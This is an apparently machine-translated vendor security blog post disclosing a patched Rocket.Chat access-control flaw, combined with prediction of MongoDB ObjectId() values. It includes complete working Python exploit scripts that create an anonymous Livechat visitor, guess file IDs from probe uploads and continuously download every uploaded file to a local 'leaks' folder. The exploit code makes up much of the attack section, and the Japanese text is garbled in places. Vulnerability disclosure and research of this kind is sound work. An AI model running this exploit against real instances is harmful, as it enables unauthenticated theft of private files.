Rocket.Chat において MongoDB の ObjectId() を継続的に予測する

MongoDB を使用するアプリケーションには、 ObjectId() 暗号的に安全に機能する。最近、我々は発見した Rocket.Chat、Slackに似たオープンソースのアプリケーションが、この被害に遭った。 Aikidoでは、 AIによるペネトレーションテスト さまざまなオープンソースアプリケーションを用いて、当社のエージェントをテストし、その強みと改善点を特定しました。ペンテスト最中、あるエージェントから、認証されていないRocket.ChatユーザーがファイルのIDを知っていれば、アップロードされたどのファイルにもアクセスできるという報告がありました。このIDはMongoDBの ObjectId() 一見するとランダムに見えるかもしれませんが、よく見てみると、実はそうではないのです！

この記事では、攻撃者が生成された有効なIDをすべて継続的に取得する方法について解説します。現在のIDを調査することで、アプリケーションによって生成された他のすべてのIDを予測する攻撃手法について説明します。これは、Rocket.Chatインスタンスにアップロードされたすべてのファイルをキャプチャすることで実証されています。この攻撃は、Rocket.Chatに限らず、同じ基本機能を使用するMongoDBを採用した他のアプリに対しても適用される可能性があります。

4月21日、HackerOneを通じてRocket.Chatのこの問題を発見し、報告しました（現在は公開されています：#3687142）。 6月12日現在、この問題はバージョン8.5.1、8.4.4、8.3.6、8.2.6、8.1.6、8.0.7、7.13.9、および7.10.13で修正されています。 ご自身または所属組織でRocket.Chatインスタンスを運用している場合は、まだアップグレードしていない場合は、できるだけ早くこれらのバージョンまたはそれ以降のバージョンにアップグレードしてください。これは認証不要のエクスプロイトであるため、ネットワークにアクセスできる者なら誰でもエクスプロイト 可能です。

脆弱性

エクスプロイト について詳しく説明する前に、Rocket.Chatの仕組みについてもう少し詳しく説明させてください。

Rocket.Chat の主な用途は、組織やチーム内でのコミュニケーションです。会話は設定可能なチャンネルごとに分けられており、ユーザーはチャットに加えてファイルを共有することもできます。認証されていない状態での攻撃対象領域を把握するために、デフォルトの設定では、ユーザーは自己登録を行うことができず、アプリを開くにはログインが必要です。

また、次のようなオプションのコンポーネントもあります。 ライブチャット、これは本質的には認証不要のヘルプデスクチャットです。任意ではありますが、 デフォルトで有効、ですが、直接そのページに移動しない限り表示されません。 /ライブチャット:

Livechatでは、ユーザーがヘルプデスクにプレーンテキストのメッセージを送信できます。さらに、このウィジェットではファイルのアップロードもサポートされていますが、デフォルトでは入力欄が無効化されています（そのため、上のスクリーンショットには表示されていません）。とはいえ、認証なしでファイルをアップロードするためのAPI 引き続き利用可能です。これが、最終的にエクスプロイトで使用する主要な機能となります。

これらの機能（認証済みチャネルおよび認証なしのライブチャット）のいずれかでアップロードされたファイルは、同じ場所に保存されます： /file-upload/{fileId}. これにより、認証ロジックにいくつかの問題が生じます。Livechatの機能を悪用して、実際のチャンネルのアップロード内容を読み取ることはできるでしょうか？

ある捜査官が、その中に何か奇妙な点に気づいた。 FileUpload.ts. そこには 2 ファイルのルームIDを定義する方法はいくつかあります。まず、認証は次のように行われます。 requestCanAccessFiles そこには次のように書かれている rc_rid (rid = ルームID）をクエリ文字列から取得します。

async requestCanAccessFiles({ headers = {}, url }: http.IncomingMessage, file?: IUpload) {
    const { query } = URL.parse(url, true);
    let { rc_uid, rc_token, rc_rid, rc_room_type } = query;
    ...
   const isAuthorizedByRoom = async () =>
        rc_room_type &&
        roomCoordinator
            .getRoomDirectives(rc_room_type)
            .canAccessUploadedFile({ rc_uid: rc_uid || '', rc_rid: rc_rid || '', rc_token: rc_token || '' });

与えられた rc_rid が渡される canAccessUploadedFile とともに、 rc_token その部屋へのアクセス権があり、ファイルを読み取れることを確認するためのパラメータ：

async canAccessUploadedFile({ rc_token: token, rc_rid: rid }) {
    return token && rid && !!(await LivechatRooms.findOneByIdAndVisitorToken(rid, token));
},

第二に、次のような呼びかけがあります。 FileUpload.requestCanAccessFiles, これは、 /file-upload/{fileId}/… パスを使用して、データベースから直接検索します：

WebApp.connectHandlers.use(FileUpload.getPath(), async (req, res, next) => {
    const match = /^\/([^\/]+)\/(.*)/.exec(req.url || '');

    if (match?.[1]) {
        const file = await Uploads.findOneById(match[1]);

        if (file) {
            if (!(await FileUpload.requestCanAccessFiles(req, file))) {

これは ファイル また、 rid (ルームID)。これは、指定された値とは異なる場合があります。 rc_rid URL内です。もしこれらが一致しなかったらどうなるのでしょうか？

その答えは、重大な脆弱性です。Rocket.Chatは、リクエストされたファイルが、アクセス権限の確認対象となっているルーム内にあるかどうかを検証しません。つまり、有効なダミーのルームを指定し、任意の fileId path パラメータに指定して、その内容を取得します。

実際に試してみましょう。まず、被害者役として任意のファイルをチャンネルにアップロードします。下のスクリーンショットでは、管理者ユーザーがアップロードしました file.txt:

次に、次のようにファイルへのリンクをコピーします：
https://rocketchat.local/file-upload/6a325394876fbe9c70b1b03f/file.txt
シークレットタブで安易にそのURLにアクセスすると403エラーが返ってくるため、これは非公開であると考えられます。それでは、ライブチャット機能を使ってこの情報を漏洩させることができるかどうか確認してみましょう。

「」を fileId 部分 6a325394876fbe9c70b1b03f, そして、Livechatのルームの匿名ユーザーとして同じURLにリクエストを送ってみましょう。まず、任意のトークン値で「訪問者」として登録し、その後、自分のルームIDを取得することでセッションを作成できます。この有効なルームIDがあれば、エクスプロイト 、ファイルの fileId。というのも、ファイル内の実際の部屋と、私たちが一時的に設定した部屋とを比較するチェックが行われていないからです。

最終的なエクスプロイト のためのPythonスクリプトを、エクスプロイト を追って作成していきます。まずは、このアイデアを実装することから始めましょう：

HOST = "https://rocketchat.local"
FILE_ID = "6a325394876fbe9c70b1b03f"

s = requests.Session()

token = "x"
# Create anonymous visitor with token
s.post(f"{HOST}/api/v1/livechat/visitor", 
       json={"visitor": {"token": token, "name": "attacker", "email": "attacker@example.com"}})
# Get our Room ID
r = s.get(f"{HOST}/api/v1/livechat/room", 
          params={"token": token, "agentId": "rocket.cat"})
rid = r.json()["room"]["_id"]
print(f"{rid=}")  # ceHsTjGSTfvAzWHk2

# Get other file using our Room ID
r = s.get(f"{HOST}/file-upload/{FILE_ID}/x", 
          params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
print(r.text)  # SUPER SECRET DATA
print(r.headers["Content-Disposition"])  # attachment; filename*=UTF-8''file.txt

私たちは、 極秘データ 内部 file.txt！また、 Content-Disposition: ヘッダーを付けることで、そのファイルに実際に何が含まれているのかが分かりやすくなります。

エージェントによる素晴らしい発見だったが、それは推測しがたい事柄に関する知識に依存していた fileId: 6a325394876fbe9c70b1b03f。これは12バイトからなるランダムな値のように見えます。たとえ1秒あたり100万回のリクエストがあったとしても、最初のヒットが得られるまでに、宇宙の寿命の数千倍もの時間がかかるでしょう。あまり現実的とは言えません。

アプリケーションのソースコードをさらに手作業で精査した結果、他のソースからこれらのファイルIDを直接漏洩させる方法は見つかりませんでした。では、有効なIDをどのように導き出せばよいのでしょうか？

最初の手がかりは、このIDがMongoDBの ObjectId() 機能。「それが私たちにとってどんな役に立つのか？」と疑問に思うかもしれません。

MongoDBのObjectId()

ドキュメントで説明されているように、ObjectId は以下の要素で構成されています：

• ObjectIdの作成日時を表す4バイトのタイムスタンプ。Unixエポックからの経過秒数で表される。
• クライアント側のプロセスごとに1回生成される5バイトのランダム値です。このランダム値は、そのマシンおよびプロセスごとに一意です。プロセスが再起動された場合、またはプロセスのプライマリノードが変更された場合、この値は再生成されます。
• クライアントサイドのプロセスごとに3バイトのインクリメントカウンタがあり、ランダムな値で初期化されます。プロセスが再起動すると、このカウンタはリセットされます。

つまり、次のようなID、例えば 6a325394876fbe9c70b1b03f 次のように分類できます：

また、そこには次のように書かれています：

> タイムスタンプおよびカウンタの値については、バイト列の中で最上位のバイトが最初に現れます（ビッグエンディアン）。

したがって、タイムスタンプ「6a325394」は、2026年6月17日午前9時58分12秒とデコードできます：

>>> from datetime import datetime
>>> datetime.fromtimestamp(int("6a325394", 16))
datetime.datetime(2026, 6, 17, 9, 58, 12)

カウンターの値 b1b03f これもビッグエンディアンの整数です。 b1b03f +1 となると b1b040, 次のID。このカウンタはランダムな値で初期化され、 ffffff to 000000.

また、2つの連続するファイルIDを比較してみると、そのことは一目瞭然です。それらは決してランダムなものではありません。

1. 6a325394876fbe9c70b1b03f
2. 6a325a30876fbe9c70b1b048

完全にランダムに予測する

エントロピーがこれほど低いため、既存のファイルに偶然当たるまでIDを総当たりで試せばよいと思うかもしれません。タイムスタンプに関しては（過去数ヶ月分の秒単位のデータしか持っていないため）、その考えは概ね正しいですが、5バイトの静的ランダム値は不明であり、カウンタもランダムに初期化されています。

静的なランダム値だけでも、1兆以上の組み合わせ（256^5）が存在します。1秒あたり1000件のリクエストを送ったとしても、それでも約18年待たなければなりません。その時点で、攻撃者のマシンがまだ稼働しているとしたら、それには感心するでしょう。

これは不可能であると見なすことができる。

アンカーポイントからの予測

この問題に取り組むには、次の方法の方が良い。 あらゆる ObjectId() 出力 アプリケーションから取得し、そこから将来のものを予測します。いわば「基準点」です。幸いなことに、Rocket.Chatでは、すでに利用している「Livechat」機能を使って、これを非常に簡単に実現できます。匿名でファイルをアップロードするだけでそのIDが取得でき、それがサンプルとなります。

r = s.post(f"{HOST}/api/v1/livechat/upload/{rid}", 
            headers={"x-visitor-token": token}, 
            files={"file": ("probe", b"probe", "text/plain")})
r.raise_for_status()
data = r.json()
probe_id = data["file"]["_id"]
print(f"{probe_id=}")  # 6a325fbf876fbe9c70b1b053

これで、必要なプリミティブが2つ揃いました：

1. 私たちがアクセスすべきではないものは、 利用しやすい もしそれがわかっているなら ObjectId()
2. 私たちには、その方法があります。 生成する そして、私たちの記事を読んでください ObjectId()

これさえあれば、さらに先へ進むことができます。他のユーザーがアップロードしたファイルを見つけるには、何が変化するのかを考えなければなりません。それは、タイムスタンプとカウンターです。タイムスタンプについては、目的の時刻になるまで秒単位で減算する必要があります。しかし、カウンターの場合は、他の機能によって値が生成される可能性があるため、実際にどれだけ減算すべきかは正確にはわかりません。 ObjectId()目的のファイルIDについて、特定の値をスキップするのは、かえって良いことだ。

いくつかの範囲を推測するだけで、すでにかなりの成果を上げることができます：

# Parse parts of the ObjectId()
timestamp = datetime.fromtimestamp(int(probe_id[0:8], 16))
random = probe_id[8:18]
counter = int(probe_id[18:24], 16)
print(f"{timestamp=} {random=} {counter=}")

# Loop through the last 5 minutes of timestamps, and last 20 counters
for delta in tqdm(range(int(timedelta(minutes=5).total_seconds()))):
    for c in range(counter - 20, counter):
        t = timestamp - timedelta(seconds=delta)  # Go backwards
        # Create new potential ObjectId()
        oid = f"{int(t.timestamp()):08x}{random}{c:06x}"
        if oid == probe_id:
            continue  # Skip our own file

        # Try requesting it, if successful, print it
        r = s.get(f"{HOST}/file-upload/{oid}/x", 
            params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.ok:
            tqdm.write(f"{oid}: {r.text!r}")

Rocket.Chatにファイルをアップロードし、その直後にこのスクリプトを実行すると、スクリプトはIDとそのデータを検出します（過去5分間のデータと、カウンター内の直前の20個のIDを順に処理します）。以下は、期待される出力の例です：

probe_id='6a326750876fbe9c70b1b069'
timestamp=datetime.datetime(2026, 6, 17, 11, 22, 24) random='876fbe9c70' counter=11645033
6a326747876fbe9c70b1b068: 'SUPER SECRET DATA'                             
  6%|██▎                                 | 19/300 [00:09<02:36,  1.79it/s]

概念実証としては有効ですが、実際の攻撃では、被害者がいつファイルをアップロードするかを正確に把握することはできません。また、実際の環境では、私たちのローカル環境よりもはるかに負荷が高く、多くの ObjectId()ファイルIDを置き換えるその他の機能については、この通りです。処理を高速化する必要があり、タイムスタンプやカウンタについて仮定を立てずに、すべてのファイルIDを確実に処理できる方法を見つける必要があります。

すべての ObjectId() を継続的に検索する

現在、大きなボトルネックの一つは、すべてのIDを1つずつ順次リクエストしている点です。サーバーからの応答を待っている間、何も処理が行われていません。コードを次のように変更することで 非同期 次のようなライブラリを使って httpx, これにより、複数のワーカーを起動し、それらすべてがキューから同時にリクエストを送信させることができます。
からファイル名を抽出します。 Content-Disposition: ヘッダーも同時に作成し、ファイルを リーク/ 元のファイル名そのままに、ローカルに保存します。

async def get_token(client):
    token = "x"
    r = await client.post(f"{HOST}/api/v1/livechat/visitor", json={"visitor": {"token": token, "name": "probe", "email": "probe@ex.com"}})
    r.raise_for_status()
    r = await client.get(f"{HOST}/api/v1/livechat/room", params={"token": token, "agentId": "rocket.cat"})
    r.raise_for_status()
    rid = r.json()["room"]["_id"]
    return token, rid

async def oid_worker(client, i, queue, rid, token):
    while True:
        oid = await queue.get()
        print(f"Worker {i} requesting {oid}")
        r = await client.get(f"{HOST}/file-upload/{oid}/x", params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.status_code == 200:
           filename = unquote(r.headers["Content-Disposition"].split("filename*=UTF-8''")[1])
            try:
                content = r.text
            except UnicodeDecodeError:
                content = r.content
            print(f"[LEAK] {oid} ({filename}): {content[:100]!r}")
            with open(f"leaks/{filename.replace('/', '_')}", "wb") as f:
                f.write(r.content)

async def main():
    queue = asyncio.Queue()
    num_workers = 10

    async with httpx.AsyncClient() as client:
        token, rid = await get_token(client)
        print(f"{rid=}")

        print("Starting producer loop...")
        producer_task = asyncio.create_task(oid_producer(client, queue, rid, token))  # We will implement the producer in a second
        print(f"Starting {num_workers} workers...")
        worker_tasks = [
            asyncio.create_task(oid_worker(client, i, queue, rid, token))
            for i in range(num_workers)
        ]
        await asyncio.gather(producer_task, *worker_tasks)

if __name__ == "__main__":
    asyncio.run(main())

存在するすべてのIDを確実に網羅するために、複数のプローブ間の差を利用することができます。前のプローブでカウンタが100だった場合、その少し後（例えば10秒後）の次のプローブで122となっていれば、その間に22個のIDが生成されたことがわかります。 タイムスタンプの間隔も即座に明らかになります：10秒です。したがって、10×22個のIDを可能な限り迅速に順に処理することができます。

処理が完了したら、さらに10秒後に別のプローブを送信できます。その時点でカウンタが130になっていると仮定しましょう。これを、直前のプローブ値である122と比較すると、再び10秒間にわたって8つのカウンタ値を試しなくてはなりません。
このループを継続することで、短い間隔で継続的にプローブを行い、非同期ワーカーを使って素早くデータを取得することで、IDのギャップを生み出すことができます。

図示すると、このアルゴリズムの動作は次のようなものです。9×26＝234個のIDの範囲全体を取得する代わりに、アプリケーションからサンプルを取得することで、検索対象となる矩形を小さくすることができます。これらの小さな範囲の合計は6＋16＋45＝67となり、単純な全範囲の検索に比べてはるかに小さくなります。

プログラムを実行し続け、リクエストの処理速度を十分に速く保つことで、すべての潜在的なファイルIDを確実に網羅することができます。

Pythonでの実装において、これは難しくありません。各プローブIDを分割してタイムスタンプとカウンターを抽出し、それらを前の値と比較するだけで済みます。
賢くやれば、検索の際に自身のプローブカウンターの値を保存して除外することができます。なぜなら、それらは決して私たちが探している秘密のファイルではないからです。注意すべきエッジケースの一つは、カウンターが ffffff to 000000 その上限に達してしまうため、3バイト以内に収まるようにモジュロ演算を使用する必要があります。

PRODUCER_INTERVAL = 10

def split_probe_id(probe_id):
    timestamp = int(probe_id[0:8], 16)
    random = probe_id[8:18]
    counter = int(probe_id[18:24], 16)
    return timestamp, random, counter

def mod_range(start, stop, modulus):
    for i in range((stop - start) % modulus):
        yield (start + i) % modulus

async def oid_producer(client, queue, rid, token):
    prev_probe_id = await get_probe_id(client, rid, token)
    probes = set([split_probe_id(prev_probe_id)[2]])
    await asyncio.sleep(PRODUCER_INTERVAL)
    while True:
        probe_id = await get_probe_id(client, rid, token)
        prev_timestamp, _, prev_counter = split_probe_id(prev_probe_id)
        timestamp, random, counter = split_probe_id(probe_id)
        probes.add(counter)
        i = 0
        for t in range(prev_timestamp, timestamp):
            for c in mod_range(prev_counter, counter, 0x1000000):
                if c in probes:
                    continue  # Skip our own files
                oid = f"{t:08x}{random}{c:06x}"
                await queue.put(oid)
                i += 1
        print(f"Produced {i} IDs")
        prev_probe_id = probe_id
        await asyncio.sleep(PRODUCER_INTERVAL)

さて、いよいよスクリプトを実行してみると、ローカルインスタンス上では何も起きていない間は特に目立った動きは見られません。自身のIDはスキップされており、前回のプローブとの差はわずか1です。アプリケーションを開いてファイルをアップロードするまでは、10秒以内にエクスプロイト によって検出され、それを拾ったワーカーによって情報が漏洩してしまいます：

プロデューサー・ループを開始します…
開始 10 ワーカーを起動中...
生成済み 0 ID
生成された 0 ID
...
制作 22 ID
作業員 0 リクエスト中 6a32774c876fbe9c70b1b112
ワーカー 1 リクエスト中 6a32774c876fbe9c70b1b113
...
ワーカー 3 6a327754876fbe9c70b1b113をリクエスト中
[リーク] 6a32774e876fbe9c70b1b112: 「極秘データ」
ワーカー 5 6a327756876fbe9c70b1b113をリクエスト中
生成済み 0 ID

成功です！スクリプトの実行中、Rocket.Chatインスタンスにアップロードされたすべてのファイルを特定し、情報を漏洩させています。処理速度が向上したため、スクリプトの実行をほとんど中断させることなくインスタンスを通常通り使用できます。また、これはキュー方式であるため、処理量が過剰になっても、アクティビティが減少した時点で遅れを取り戻すことになります。なお、現在使用している10秒間隔はあくまで任意の設定です。この間隔を短く設定すればするほど、検出対象の範囲が狭まり、ファイルがアップロードされたタイミングをより正確に検知できるようになります。プローブ用のリクエスト数とブルートフォース攻撃用のリクエスト数のバランスは、ご自身で調整してください。

この動画で実証実験をご覧ください：

要点

Rocket.Chatはアクセス制御の問題を修正しました（#40889) を渡すことで ファイル ～へ canAccessUploadedFile()、および選択されたファイルがクエリパラメータで指定されたルームIDと一致していることを確認します。

一般的な指針として、ランダムなIDについては、以下に依存しないことをお勧めします。 ObjectId()、これは単純な連番IDとほぼ同程度のセキュリティ上の脆弱性があります。多層防御の一環として、安全なランダム文字列にはUUIDv4を使用し、アクセス制御にバグがあった場合でも、攻撃者がIDを特定するにはさらなる手順が必要となるようにしてください。

当社のエージェント脆弱性無事に発見しましたが、当初はMongoDBの予測可能性については言及していませんでした ObjectId()s、というのも、単一のサンプルは一見するとランダムに見えるからです。この調査を受けて行った変更により、エージェントは現在、こうしたIDのエントロピーを分析し、レポートにおける悪用される可能性をより正確に説明できるようになりました。

IDORのPoCの現実感を高めたいセキュリティ研究者やペネトレーションテスターの皆さん、MongoDBのIDは簡単に予測できることがお分かりいただけたと思います。2つのIDが不気味なほど似ている場合は、常に注意を払う必要があります。

当社のAIペネトレーションテストツールが、これを独自に発見しました。アプリケーションに対して高品質かつ迅速なペネトレーションテストを実施したい場合は、Aikidoペネトレーションテストスイートをご検討ください。